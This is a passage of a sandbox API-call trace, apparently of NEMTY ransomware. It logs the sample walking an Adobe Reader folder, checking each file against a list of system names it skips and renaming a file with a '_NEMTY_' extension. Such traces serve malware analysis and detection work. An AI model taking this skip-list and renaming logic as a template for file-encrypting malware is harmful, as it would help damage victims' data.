10.0\\reader\\cryptocme2.sig"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cryptocme2.sig._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\cryptocme2.sig._nemty_kgobjgd_")) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.134] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17190, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0171.134] lstrcmpiW (lpString1="Eula.exe", lpString2=".") returned 1 [0171.134] lstrcmpiW (lpString1="Eula.exe", lpString2="..") returned 1 [0171.134] lstrcmpiW (lpString1="Eula.exe", lpString2="...") returned 1 [0171.134] lstrcmpiW (lpString1="Eula.exe", lpString2="windows") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="$RECYCLE.BIN") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="rsa") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="NTDETECT.COM") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="ntldr") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="MSDOS.SYS") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="IO.SYS") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="boot.ini") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="boot.ini") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="AUTOEXEC.BAT") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="ntuser.dat") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="desktop.ini") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="CONFIG.SYS") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="RECYCLER") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="BOOTSECT.BAK") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="bootmgr") returned 1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="programdata") returned -1 [0171.135] lstrcmpiW (lpString1="Eula.exe", lpString2="appdata") returned 1 [0171.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eula.exe", lpUsedDefaultChar=0x0) returned 8 [0171.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eula.exe", lpUsedDefaultChar=0x0) returned 8 [0171.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eula.exe", lpUsedDefaultChar=0x0) returned 8 [0171.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0171.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Eula.exe", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Eula.exe", lpUsedDefaultChar=0x0) returned 8 [0171.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0171.135] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa3ba0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2=".") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="..") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="...") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="windows") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="rsa") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="NTDETECT.COM") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="ntldr") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="MSDOS.SYS") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="IO.SYS") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="boot.ini") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="boot.ini") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="ntuser.dat") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="desktop.ini") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="CONFIG.SYS") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="RECYCLER") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="bootmgr") returned 1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="programdata") returned -1 [0171.136] lstrcmpiW (lpString1="ExtendScript.dll", lpString2="appdata") returned 1 [0171.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0171.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExtendScript.dll", lpUsedDefaultChar=0x0) returned 16 [0171.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0171.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExtendScript.dll", lpUsedDefaultChar=0x0) returned 16 [0171.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0171.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0171.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0171.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExtendScript.dll", lpUsedDefaultChar=0x0) returned 16 [0171.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0171.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0171.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0171.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ExtendScript.dll", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExtendScript.dll", lpUsedDefaultChar=0x0) returned 16 [0171.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0171.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.137] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb03a8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2=".") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="..") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="...") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="windows") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="rsa") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="NTDETECT.COM") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="ntldr") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="MSDOS.SYS") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="IO.SYS") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="boot.ini") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="boot.ini") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="ntuser.dat") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="desktop.ini") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="CONFIG.SYS") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="RECYCLER") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="bootmgr") returned 1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="programdata") returned -1 [0171.137] lstrcmpiW (lpString1="icucnv40.dll", lpString2="appdata") returned 1 [0171.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icucnv40.dll", lpUsedDefaultChar=0x0) returned 12 [0171.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icucnv40.dll", lpUsedDefaultChar=0x0) returned 12 [0171.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icucnv40.dll", lpUsedDefaultChar=0x0) returned 12 [0171.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0171.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icucnv40.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icucnv40.dll", lpUsedDefaultChar=0x0) returned 12 [0171.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0171.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.138] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17790, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2=".") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="..") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="...") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="windows") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="rsa") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="NTDETECT.COM") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="ntldr") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="MSDOS.SYS") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="IO.SYS") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="boot.ini") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="boot.ini") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="ntuser.dat") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="desktop.ini") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="CONFIG.SYS") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="RECYCLER") returned -1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="bootmgr") returned 1 [0171.138] lstrcmpiW (lpString1="icudt40.dll", lpString2="programdata") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40.dll", lpString2="appdata") returned 1 [0171.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x653ef60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icudt40.dll", cchWideChar=11, lpMultiByteStr=0x653ef98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icudt40.dll", lpUsedDefaultChar=0x0) returned 11 [0171.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0171.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.139] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x837d71e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd46fa8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="icudt40_full.dll", cAlternateFileName="ICUDT4~1.DLL")) returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2=".") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="..") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="...") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="windows") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="rsa") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="NTDETECT.COM") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="ntldr") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="MSDOS.SYS") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="IO.SYS") returned -1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="boot.ini") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="boot.ini") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.139] lstrcmpiW (lpString1="icudt40_full.dll", lpString2="ntuser.dat") returned -1 [0171.139] lstrcmpiW 